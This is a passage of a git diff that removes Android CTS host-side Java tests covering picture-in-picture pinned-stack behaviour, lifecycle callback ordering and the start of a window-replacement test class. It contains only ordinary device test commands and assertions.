- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
- }
-
- public void testPinnedStackAlwaysOnTop() throws Exception {
- if (!supportsPip()) return;
-
- // Launch activity into pinned stack and assert it's on top.
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
- assertPinnedStackIsOnTop();
-
- // Launch another activity in fullscreen stack and check that pinned stack is still on top.
- launchActivity(TEST_ACTIVITY);
- assertPinnedStackExists();
- assertPinnedStackIsOnTop();
-
- // Launch home and check that pinned stack is still on top.
- launchHomeActivity();
- assertPinnedStackExists();
- assertPinnedStackIsOnTop();
- }
-
- public void testAppOpsDenyPipOnPause() throws Exception {
- if (!supportsPip()) return;
-
- // Disable enter-pip and try to enter pip
- setAppOpsOpToMode(ActivityManagerTestBase.componentName,
- APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
-
- // Launch the PIP activity on pause
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackDoesNotExist();
-
- // Go home and ensure that there is no pinned stack
- launchHomeActivity();
- assertPinnedStackDoesNotExist();
-
- // Re-enable enter-pip-on-hide
- setAppOpsOpToMode(ActivityManagerTestBase.componentName,
- APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
- }
-
- public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
- if (!supportsPip()) return;
-
- // Try to enter picture-in-picture from an activity that has more than one activity in the
- // task and ensure that it works
- launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
- }
-
- public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
- if (!supportsPip()) return;
-
- /*
- * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
- * stopped and actually went into the pinned stack.
- *
- * Note that this is a workaround because to trigger the path that we want to happen in
- * activity manager, we need to add the leaving activity to the stopping state, which only
- * happens when a hidden stack is brought forward. Normally, this happens when you go home,
- * but since we can't launch into the home stack directly, we have a workaround.
- *
- * 1) Launch an activity in a new dynamic stack
- * 2) Resize the dynamic stack to non-fullscreen bounds
- * 3) Start the PiP activity that will enter picture-in-picture when paused in the
- * fullscreen stack
- * 4) Bring the activity in the dynamic stack forward to trigger PiP
- */
- int stackId = launchActivityInNewDynamicStack(RESUME_WHILE_PAUSING_ACTIVITY);
- resizeStack(stackId, 0, 0, 500, 500);
- // Launch an activity that will enter PiP when it is paused with a delay that is long enough
- // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
- // trigger the current system pause timeout (currently 500ms)
- launchActivityInStack(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
- EXTRA_ENTER_PIP_ON_PAUSE, "true",
- EXTRA_ON_PAUSE_DELAY, "350",
- EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
- launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
- assertPinnedStackExists();
- }
-
- public void testDisallowEnterPipActivityLocked() throws Exception {
- if (!supportsPip()) return;
-
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
- ActivityTask task =
- mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
-
- // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
- // when paused
- executeShellCommand("am task lock " + task.mTaskId);
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackDoesNotExist();
- launchHomeActivity();
- assertPinnedStackDoesNotExist();
- executeShellCommand("am task lock stop");
- }
-
- public void testConfigurationChangeOrderDuringTransition() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a PiP activity and ensure configuration change only happened once, and that the
- // configuration change happened after the picture-in-picture and multi-window callbacks
- launchActivity(PIP_ACTIVITY);
- String logSeparator = clearLogcat();
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
- waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
- assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
-
- // Trigger it to go back to fullscreen and ensure that only triggered one configuration
- // change as well
- logSeparator = clearLogcat();
- launchActivity(PIP_ACTIVITY);
- waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
- assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
- }
-
- public void testEnterPipInterruptedCallbacks() throws Exception {
- if (!supportsPip()) return;
-
- // Slow down the transition animations for this test
- setWindowTransitionAnimationDurationScale(20);
-
- // Launch a PiP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- // Wait until the PiP activity has moved into the pinned stack (happens before the
- // transition has started)
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
-
- // Relaunch the PiP activity back into fullscreen
- String logSeparator = clearLogcat();
- launchActivity(PIP_ACTIVITY);
- // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
- // transition has finished)
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-
- // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
- // configuration change (since none was sent)
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
- PIP_ACTIVITY, logSeparator);
- assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
- assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
- assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
-
- // Reset the animation scale
- setWindowTransitionAnimationDurationScale(1);
- }
-
- public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a PiP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Dismiss it
- String logSeparator = clearLogcat();
- removeStacks(PINNED_STACK_ID);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-
- // Confirm that we get stop before the multi-window and picture-in-picture mode change
- // callbacks
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
- logSeparator);
- if (lifecycleCounts.mStopCount != 1) {
- fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mStopCount
- + " onStop() calls, expecting 1");
- } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
- fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
- + " onPictureInPictureModeChanged() calls, expecting 1");
- } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
- fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
- + " onMultiWindowModeChanged() calls, expecting 1");
- } else {
- int lastStopLine = lifecycleCounts.mLastStopLineIndex;
- int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
- int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
- if (!(lastStopLine < lastPipLine && lastPipLine < lastMwLine)) {
- fail(PIP_ACTIVITY + " has received callbacks in unexpected order. Expected:"
- + " stop < pip < mw, but got line indices: " + lastStopLine + ", "
- + lastPipLine + ", " + lastMwLine + " respectively");
- }
- }
- }
-
- public void testPreventSetAspectRatioWhileExpanding() throws Exception {
- if (!supportsPip()) return;
-
- // Launch the PiP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
- // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
- // call to set the aspect ratio did not prevent the PiP from returning to fullscreen
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_EXPAND_PIP
- + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR + " 123456789"
- + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR + " 100000000");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- assertPinnedStackDoesNotExist();
- }
-
- public void testSetRequestedOrientationWhilePinned() throws Exception {
- if (!supportsPip()) return;
-
- // Launch the PiP activity fixed as portrait, and enter picture-in-picture
- launchActivity(PIP_ACTIVITY,
- EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
- EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
-
- // Request that the orientation is set to landscape
- executeShellCommand("am broadcast -a "
- + PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION + " -e "
- + EXTRA_FIXED_ORIENTATION + " " + String.valueOf(ORIENTATION_LANDSCAPE));
-
- // Launch the activity back into fullscreen and ensure that it is now in landscape
- launchActivity(PIP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- assertPinnedStackDoesNotExist();
- assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
- }
-
- public void testWindowButtonEntersPip() throws Exception {
- if (!supportsPip()) return;
-
- // Launch the PiP activity trigger the window button, ensure that we have entered PiP
- launchActivity(PIP_ACTIVITY);
- pressWindowButton();
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
- }
-
- public void testFinishPipActivityWithTaskOverlay() throws Exception {
- if (!supportsPip()) return;
-
- // Launch PiP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
- int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
-
- // Ensure that we don't any any other overlays as a result of launching into PIP
- launchHomeActivity();
-
- // Launch task overlay activity into PiP activity task
- launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
-
- // Finish the PiP activity and ensure that there is no pinned stack
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_FINISH);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- ActivityStack stack = amState.getStackById(PINNED_STACK_ID);
- return stack == null;
- }, "Waiting for pinned stack to be removed...");
- assertPinnedStackDoesNotExist();
- }
-
- public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
- if (!supportsPip()) return;
-
- // Launch PiP activity
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- assertPinnedStackExists();
- int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
-
- // Launch task overlay activity into PiP activity task
- launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
-
- // Finish the task overlay activity while animating and ensure that the PiP activity never
- // got resumed
- String logSeparator = clearLogcat();
- executeShellCommand("am stack resize-animated 4 20 20 500 500");
- executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
- mAmWmState.waitFor(mDevice, (amState, wmState) -> !amState.containsActivity(
- TRANSLUCENT_TEST_ACTIVITY), "Waiting for test activity to finish...");
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
- logSeparator);
- assertTrue(lifecycleCounts.mResumeCount == 0);
- assertTrue(lifecycleCounts.mPauseCount == 0);
- }
-
- public void testPinnedStackWithDockedStack() throws Exception {
- if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
-
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- launchActivityToSide(true, false, TEST_ACTIVITY);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Launch the activities again to take focus and make sure nothing is hidden
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
- launchActivityToSide(true, false, TEST_ACTIVITY);
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Go to recents to make sure that fullscreen stack is invisible
- // Some devices do not support recents or implement it differently (instead of using a
- // separate stack id or as an activity), for those cases the visibility asserts will be
- // ignored
- pressAppSwitchButton();
- if (mAmWmState.waitForRecentsActivityVisible(mDevice)) {
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, false);
- }
- }
-
- public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
- // affinity
- launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
- launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
- assertPinnedStackExists();
-
- // Launch the root activity again...
- int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
- TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId;
- launchHomeActivity();
- launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-
- // ...and ensure that the root activity task is found and reused, and that the pinned stack
- // is unaffected
- assertPinnedStackExists();
- mAmWmState.assertFocusedActivity("Expected root activity focused",
- TEST_ACTIVITY_WITH_SAME_AFFINITY);
- assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
- TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId);
- }
-
- public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
- if (!supportsPip()) return;
-
- // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
- // affinity, and also launch another activity in the same task, while finishing itself. As
- // a result, the task will not have a component matching the same activity as what it was
- // started with
- launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
- EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
- EXTRA_FINISH_SELF_ON_RESUME, "true");
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
- assertPinnedStackExists();
-
- // Launch the root activity again...
- int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
- TEST_ACTIVITY).mTaskId;
- launchHomeActivity();
- launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-
- // ...and ensure that even while matching purely by task affinity, the root activity task is
- // found and reused, and that the pinned stack is unaffected
- assertPinnedStackExists();
- mAmWmState.assertFocusedActivity("Expected root activity focused", TEST_ACTIVITY);
- assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
- TEST_ACTIVITY).mTaskId);
- }
-
- public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
- if (!supportsPip()) return;
-
- // Launch an activity into the pinned stack with a fixed affinity
- launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
- EXTRA_FINISH_SELF_ON_RESUME, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- assertPinnedStackExists();
-
- // Launch the root activity again, of the matching task and ensure that we expand to
- // fullscreen
- int activityTaskId = mAmWmState.getAmState().getTaskByActivityName(
- PIP_ACTIVITY).mTaskId;
- launchHomeActivity();
- launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- assertPinnedStackDoesNotExist();
- assertTrue(activityTaskId == mAmWmState.getAmState().getTaskByActivityName(
- PIP_ACTIVITY).mTaskId);
- }
-
- /** Test that reported display size corresponds to fullscreen after exiting PiP. */
- public void testDisplayMetricsPinUnpin() throws Exception {
- if (!supportsPip()) return;
-
- String logSeparator = clearLogcat();
- launchActivity(TEST_ACTIVITY);
- final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
- final ReportedSizes initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY,
- logSeparator);
- final Rectangle initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
- assertNotNull("Must report display dimensions", initialSizes);
- assertNotNull("Must report app bounds", initialAppBounds);
-
- logSeparator = clearLogcat();
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- final ReportedSizes pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
- logSeparator);
- final Rectangle pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
- assertFalse("Reported display size when pinned must be different from default",
- initialSizes.equals(pinnedSizes));
- assertFalse("Reported app bounds when pinned must be different from default",
- initialAppBounds.width == pinnedAppBounds.width
- && initialAppBounds.height == pinnedAppBounds.height);
-
- logSeparator = clearLogcat();
- launchActivityInStack(PIP_ACTIVITY, defaultDisplayStackId);
- final ReportedSizes finalSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
- logSeparator);
- final Rectangle finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
- assertEquals("Must report default size after exiting PiP", initialSizes, finalSizes);
- assertEquals("Must report default app width after exiting PiP", initialAppBounds.width,
- finalAppBounds.width);
- assertEquals("Must report default app height after exiting PiP", initialAppBounds.height,
- finalAppBounds.height);
- }
-
- private static final Pattern sAppBoundsPattern = Pattern.compile(
- "(.+)appBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
-
- /** Read app bounds in last applied configuration from logs. */
- private Rectangle readAppBounds(String activityName, String logSeparator) throws Exception {
- final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- final Matcher matcher = sAppBoundsPattern.matcher(line);
- if (matcher.matches()) {
- final int left = Integer.parseInt(matcher.group(2));
- final int top = Integer.parseInt(matcher.group(3));
- final int right = Integer.parseInt(matcher.group(4));
- final int bottom = Integer.parseInt(matcher.group(5));
- return new Rectangle(left, top, right - left, bottom - top);
- }
- }
- return null;
- }
-
- /**
- * Called after the given {@param activityName} has been moved to the fullscreen stack. Ensures
- * that the {@param focusedStackId} is focused, and checks the top and/or bottom tasks in the
- * fullscreen stack if {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity}
- * are set respectively.
- */
- private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int focusedStackId,
- boolean expectTopTaskHasActivity, boolean expectBottomTaskHasActivity)
- throws Exception {
- mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
- mAmWmState.assertFocusedStack("Wrong focused stack", focusedStackId);
- mAmWmState.waitForActivityState(mDevice, activityName, STATE_STOPPED);
- assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
- assertPinnedStackDoesNotExist();
-
- if (expectTopTaskHasActivity) {
- ActivityTask topTask = mAmWmState.getAmState().getStackById(
- FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
- assertTrue(topTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
- activityName)));
- }
- if (expectBottomTaskHasActivity) {
- ActivityTask bottomTask = mAmWmState.getAmState().getStackById(
- FULLSCREEN_WORKSPACE_STACK_ID).getBottomTask();
- assertTrue(bottomTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
- activityName)));
- }
- }
-
- /**
- * Asserts that the pinned stack bounds does not intersect with the IME bounds.
- */
- private void assertPinnedStackDoesNotIntersectIME() throws Exception {
- // Ensure that the IME is visible
- WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- WindowManagerState.WindowState imeWinState = wmState.getInputMethodWindowState();
- assertTrue(imeWinState != null);
-
- // Ensure that the PIP movement is constrained by the display bounds intersecting the
- // non-IME bounds
- Rectangle imeContentFrame = imeWinState.getContentFrame();
- Rectangle imeContentInsets = imeWinState.getGivenContentInsets();
- Rectangle imeBounds = new Rectangle(imeContentFrame.x + imeContentInsets.x,
- imeContentFrame.y + imeContentInsets.y,
- imeContentFrame.width - imeContentInsets.width,
- imeContentFrame.height - imeContentInsets.height);
- wmState.computeState(mDevice);
- Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
- assertTrue(!pipMovementBounds.intersects(imeBounds));
- }
-
- /**
- * Asserts that the pinned stack bounds is contained in the display bounds.
- */
- private void assertPinnedStackActivityIsInDisplayBounds(String activity) throws Exception {
- final WindowManagerState.WindowState windowState = getWindowState(activity);
- final WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(
- windowState.getDisplayId());
- final Rectangle displayRect = display.getDisplayRect();
- final Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- assertTrue(displayRect.contains(pinnedStackBounds));
- }
-
- /**
- * Asserts that the pinned stack exists.
- */
- private void assertPinnedStackExists() throws Exception {
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
- }
-
- /**
- * Asserts that the pinned stack does not exist.
- */
- private void assertPinnedStackDoesNotExist() throws Exception {
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
- }
-
- /**
- * Asserts that the pinned stack is the front stack.
- */
- private void assertPinnedStackIsOnTop() throws Exception {
- mAmWmState.assertFrontStack("Pinned stack must always be on top.", PINNED_STACK_ID);
- }
-
- /**
- * Asserts that the activity received exactly one of each of the callbacks when entering and
- * exiting picture-in-picture.
- */
- private void assertValidPictureInPictureCallbackOrder(String activityName, String logSeparator)
- throws Exception {
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
-
- if (lifecycleCounts.mConfigurationChangedCount != 1) {
- fail(activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
- + " onConfigurationChanged() calls, expecting 1");
- } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
- fail(activityName + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
- + " onPictureInPictureModeChanged() calls, expecting 1");
- } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
- fail(activityName + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
- + " onMultiWindowModeChanged() calls, expecting 1");
- } else {
- int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
- int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
- int lastConfigLine = lifecycleCounts.mLastConfigurationChangedLineIndex;
- if (!(lastPipLine < lastMwLine && lastMwLine < lastConfigLine)) {
- fail(activityName + " has received callbacks in unexpected order. Expected:"
- + " pip < mw < config change, but got line indices: " + lastPipLine + ", "
- + lastMwLine + ", " + lastConfigLine + " respectively");
- }
- }
- }
-
- /**
- * Waits until the expected picture-in-picture callbacks have been made.
- */
- private void waitForValidPictureInPictureCallbacks(String activityName, String logSeparator)
- throws Exception {
- mAmWmState.waitFor(mDevice, (amState, wmState) -> {
- try {
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
- activityName, logSeparator);
- return lifecycleCounts.mConfigurationChangedCount == 1 &&
- lifecycleCounts.mPictureInPictureModeChangedCount == 1 &&
- lifecycleCounts.mMultiWindowModeChangedCount == 1;
- } catch (Exception e) {
- return false;
- }
- }, "Waiting for picture-in-picture activity callbacks...");
- }
-
- /**
- * @return the window state for the given {@param activity}'s window.
- */
- private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
- String windowName = getWindowName(activity);
- mAmWmState.computeState(mDevice, new String[] {activity});
- final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
- mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
- return tempWindowList.get(0);
- }
-
- /**
- * Compares two floats with a common epsilon.
- */
- private boolean floatEquals(float f1, float f2) {
- return Math.abs(f1 - f2) < FLOAT_COMPARE_EPSILON;
- }
-
- /**
- * Triggers a tap over the pinned stack bounds to trigger the PIP to close.
- */
- private void tapToFinishPip() throws Exception {
- Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- int tapX = pinnedStackBounds.x + pinnedStackBounds.width - 100;
- int tapY = pinnedStackBounds.y + pinnedStackBounds.height - 100;
- executeShellCommand(String.format("input tap %d %d", tapX, tapY));
- }
-
- /**
- * Launches the given {@param activityName} into the {@param taskId} as a task overlay.
- */
- private void launchActivityAsTaskOverlay(String activityName, int taskId, int stackId)
- throws Exception {
- executeShellCommand(getAmStartCmd(activityName) + " --task " + taskId + " --task-overlay");
-
- mAmWmState.waitForValidState(mDevice, activityName, stackId);
- }
-
- /**
- * Sets an app-ops op for a given package to a given mode.
- */
- private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
- executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
- }
-
- /**
- * Triggers the window keycode.
- */
- private void pressWindowButton() throws Exception {
- executeShellCommand(INPUT_KEYEVENT_WINDOW);
- }
-
- /**
- * TODO: Improve tests check to actually check that apps are not interactive instead of checking
- * if the stack is focused.
- */
- private void pinnedStackTester(String startActivityCmd, String topActivityName,
- boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
-
- executeShellCommand(startActivityCmd);
- if (moveTopToPinnedStack) {
- executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
- }
-
- mAmWmState.waitForValidState(mDevice, topActivityName, PINNED_STACK_ID);
- mAmWmState.computeState(mDevice, null);
-
- if (supportsPip()) {
- final String windowName = getWindowName(topActivityName);
- assertPinnedStackExists();
- mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
- mAmWmState.assertVisibility(topActivityName, true);
-
- if (isFocusable) {
- mAmWmState.assertFocusedStack(
- "Pinned stack must be the focused stack.", PINNED_STACK_ID);
- mAmWmState.assertFocusedActivity(
- "Pinned activity must be focused activity.", topActivityName);
- mAmWmState.assertFocusedWindow(
- "Pinned window must be focused window.", windowName);
- // Not checking for resumed state here because PiP overlay can be launched on top
- // in different task by SystemUI.
- } else {
- // Don't assert that the stack is not focused as a focusable PiP overlay can be
- // launched on top as a task overlay by SystemUI.
- mAmWmState.assertNotFocusedActivity(
- "Pinned activity can't be the focused activity.", topActivityName);
- mAmWmState.assertNotResumedActivity(
- "Pinned activity can't be the resumed activity.", topActivityName);
- mAmWmState.assertNotFocusedWindow(
- "Pinned window can't be focused window.", windowName);
- }
- } else {
- mAmWmState.assertDoesNotContainStack(
- "Must not contain pinned stack.", PINNED_STACK_ID);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
deleted file mode 100644
index 3aa3ce0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import junit.framework.Assert;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerReplaceWindowTests
- */
-public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
-
- private static final String SLOW_CREATE_ACTIVITY_NAME = "SlowCreateActivity";
- private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-
- private List<String> mTempWindowTokens = new ArrayList();
-
- public void testReplaceWindow_Dock_Relaunch() throws Exception {
- testReplaceWindow_Dock(true);
- }
-
- public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
- testReplaceWindow_Dock(false);
- }
-
- private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
- return;
- }
-
- final String activityName =
- relaunch ? SLOW_CREATE_ACTIVITY_NAME : NO_RELAUNCH_ACTIVITY_NAME;
- final String windowName = getWindowName(activityName);
- final String amStartCmd = getAmStartCmd(activityName);
-
